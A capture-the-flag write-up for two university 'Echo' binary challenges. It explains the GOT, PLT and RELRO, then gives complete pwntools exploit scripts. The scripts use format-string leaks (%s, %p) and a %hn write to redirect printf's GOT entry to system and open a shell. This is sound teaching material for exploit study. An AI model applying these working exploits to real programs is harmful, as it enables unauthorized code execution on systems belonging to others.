Echo

Luigi Dell'Eva, 20/05/2024

Background

The challenge is accessible through a shell using the command `nc cyberchallenge.disi.unitn.it 50230 | 50231` and consists of an echo function, given a string it will return the same string.

Binary exploitation is a specialized area within cybersecurity that focuses on identifying and **exploiting vulnerabilities in compiled applications**, such as Linux ELF files or Windows executables, to gain unauthorized access or modify the behavior of these programs. This process involves understanding and manipulating various aspects of the program's execution environment, including registers, the stack, calling conventions, buffers, and the heap. [1] To perform these analysis, we can use tools used in **reverse engineering** such as **Ghidra**, **GDB**, **ltrace**, **strace** and so on.

When talking about binaies, on any system there are two types of linking: **static** and **dynamic**. Statically linked binaries are self-contained, as they include all the necessary code within a single file, eliminating the need for any external libraries. Dinamically linked binaries, on the other hand, rely on external libraries (system libraries) to provide some funcionalities. To locate the functions the program needs to know which address to call. This task known as **relocation** is performed by the **linker**. [3]

In dinamyc linking, it is important to understand what the **Procedure Linkage Table** (PLT) and the **Global Offset Table** (GOT) are and which is their role in efficiently managing the resolution of function addresses at runtime. The **PLT** is a **read-only** table that holds all the **symbols requiring resolution**, such as the `printf` or `fgets` functions. The **GOT** is a **writable** section of a program's memory that maps symbols (like function names) to their **absolute memory addresses**. This mapping is essential because the exact memory location of functions and variables is not known until runtime, especially in systems using ASLR. [2]

Given that GOT tables are writable, they can be exploited by attackers to **redirect the flow of the execution** of a program to a different location, such as a shellcode or a different function. This is a common technique which make use of **format string vulnerabilities** or **buffer overflows** to overwrite the GOT table with the address of a different function, such as `system` or `execve`, to execute arbitrary code. [4]

To mitigate this problem the **Relocation Read-Only** (RELRO) protection has been introduced. It provides two levels of protection: **Partial RELRO** and **Full RELRO**. The first one maps the `.got` section as read-only (contains the table of offset filled by the linker) but not the `.got.plt` , which contains the resolved addresses. In the second one the linker resolves all the addresses at link time (before the execution) and then remove the write permission from the `.got` section (.got.plt is merged with .got). [4]

Vulnerability

GOT overwrite is technique where the GOT address of a function is replaced with the address of a different function. This is possible when the program allow to perform **string format attacks** (as in our case). What happens is that once the absolute address of a function is known (i.e. `printf`), it can be overwritten with the address of a different function (i.e. `system`). This is possible because the GOT is writable and the program does not check the bounds of the input string.

Solution

Echo

By analyzing the ELF file with `checksec` we can notice that there NX enabled, Partial RELRO, no canary and no PIE. This means that the .got section is writable and additionally we do not have to deal with different addresses when the file loads in memory. To replace the `printf` function with the `system` function we need to know the address of both functions. First, we need to retrieve the libc base address and then calculate their addresses by adding the padding (this cannot be done statically because our libc has PIE enabled).

To retrieve the libc base address we can leak the address of a known function (`printf`). To do so we can place an address on the stack (in our case the GOT address of `printf`) and then use the `%s` format string to dereference that address. In our case printf reads from the sixth location on the stack, so by providing the string `%7$s address` we can leak the address of `printf`. Note that a 4 space padding after the format string is needed to align the input since `%s` reads 8 bytes (64 bit architecture). We need to notice that the address is in little endian format, so we need to convert it to big endian.

Now we can calculate the base address of libc and the address of `system`. The last thing to do is to build the payload. We can notice the address of `printf` and `system` most of the times differs by only 4bytes, so we can change only those. The idea is to utilize the `%hn` format string that, basically, counts the number of characters printed so far and writes that number to the pointed address. The resulting payload is the following: `%{last_two_bytes_system}X%8$hn{'A'*padding} + {printf_got_address}. We need also some padding to align the printg got address with the next memory address.

```python
from pwn import *

# p = process("./bin", env={"LD_PRELOAD": "./libc.so.6"})
# p = gdb.debug(
#     "./bin",
#     """
#     break main
#     continue
#     """,
#     env={"LD_PRELOAD": "./libc.so.6"}
#     )
p = remote('cyberchallenge.disi.unitn.it', 50230)

def little_to_big_endian(hex_str):
    hex_pairs = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
    hex_pairs.reverse()
    big_endian_str = ''.join(hex_pairs)
    return big_endian_str

elf = ELF("./bin")
libc = ELF("./libc.so.6")
context.binary = elf

printf_offset = libc.symbols["printf"]

p.sendlineafter(b"> ", b'%7$s    ' + p64(elf.got["printf"]))
printf_address = little_to_big_endian(p.recvuntil(b'> ').split(b' ')[0].hex())
libc_base = int(printf_address, 16) - printf_offset
libc.address = libc_base

system_address = hex(libc.symbols["system"])
printf_got_address = elf.got['printf']

system_pairs = [system_address[i:i+2] for i in range(0, len(system_address), 2)]
last_two_bytes_system = int(''.join(system_pairs[-2:]), 16)
print(last_two_bytes_system)

padding = 8 - ((7 + len(str(last_two_bytes_system))) % 8)
padding_payload = f'%{last_two_bytes_system}X%8$hn{'A'*padding}'.encode()
payload = padding_payload + p64(printf_got_address)

p.sendline(payload)
p.interactive()
```

Echo 2 solution - works only locally

In this challenge by analyzing the file with `checksec` we can notice that this time PIE is enabled so we need to deal with different addresses when the file is loaded in memory. Thus, we need to leak the **libc base address** in a different way. First of all, by using the `%p` format specifier we can look for an address that could recall an arbitrary libc address (which happens to be the first one `%1$p`). Then, knowing that the offset between this address and the libc base is always the same (even with PIE enabled), we can calculate it just one time. This can be done by running the program one time and then calculating the difference between the address and the libc base (which we can look up by using the command `sudo cat /proc/<pid>/maps`).

Now we we need the **printf got address**, to do so we need to leak the pie base address and then add the got offset of the printf function. We can do this by using the `%p` format specifier and see if we can find one of the address of the program. In our case `%19$p` is the address of the instruction `push rbp` and by subtracting its offset we obtain the **pie base address**.

At this point we got everything we need to build the payload which is the same as before.

```python
from pwn import *

p = process("./bin", env={"LD_PRELOAD": "./libc.so.6"})
# p = gdb.debug(
#     "./bin",
#     """
#     break main
#     continue
#     """,
#     env={"LD_PRELOAD": "./libc.so.6"}
#     )
# p = remote('cyberchallenge.disi.unitn.it', 50231)

def little_to_big_endian(hex_str):
    hex_pairs = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
    hex_pairs.reverse()
    big_endian_str = ''.join(hex_pairs)
    return big_endian_str

elf = ELF("./bin")
libc = ELF("./libc.so.6")
context.binary = elf

printf_offset = libc.symbols["printf"]

p.sendlineafter(b'> ', b'%1$p')
libc_leak = p.recvuntil(b'> ').decode().split('\n')[0]
print(libc_leak + " libc leak")
libc_base = int(libc_leak, 16) - (0x7b25d55feb43 - 0x7b25d5400000)
print(hex(libc_base)+ " libc base")
libc.address = libc_base

p.sendline(b'%19$p')
rbp_leak = p.recvuntil(b'> ').decode().split('\n')[0]
print(rbp_leak + " rbp leak")
pie_base = int(rbp_leak, 16) - 0x0000000000001159
print(hex(pie_base) + " pie base")
elf.address = pie_base
printf_got_address = elf.got['printf']
printf_address = libc.symbols["printf"]
system_address = hex(libc.symbols["system"])

system_pairs = [system_address[i:i+2] for i in range(0, len(system_address), 2)]
last_two_bytes_system = int(''.join(system_pairs[-2:]), 16)
print(last_two_bytes_system)

padding = 8 - ((7 + len(str(last_two_bytes_system))) % 8)
padding_payload = f'%{last_two_bytes_system}X%8$hn{'A'*padding}'.encode()
print(padding_payload, len(padding_payload))
payload = padding_payload + p64(printf_got_address)
p.sendline(payload)
p.interactive()
```

References

[1] Binary exploitation: https://medium.com/@0day_exploit/unveiling-the-power-of-binary-exploitation-mastering-stack-based-overflow-techniques-d263c8a07f67

[2] Global Offset Table: https://en.wikipedia.org/wiki/Global_Offset_Table

[3] PLT and GOT: https://www.linkedin.com/pulse/elf-linux-executable-plt-got-tables-mohammad-alhyari

[4] PLT and GOT mitigation: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

[5] `%n` format specifier: https://axcheron.github.io/exploit-101-format-strings/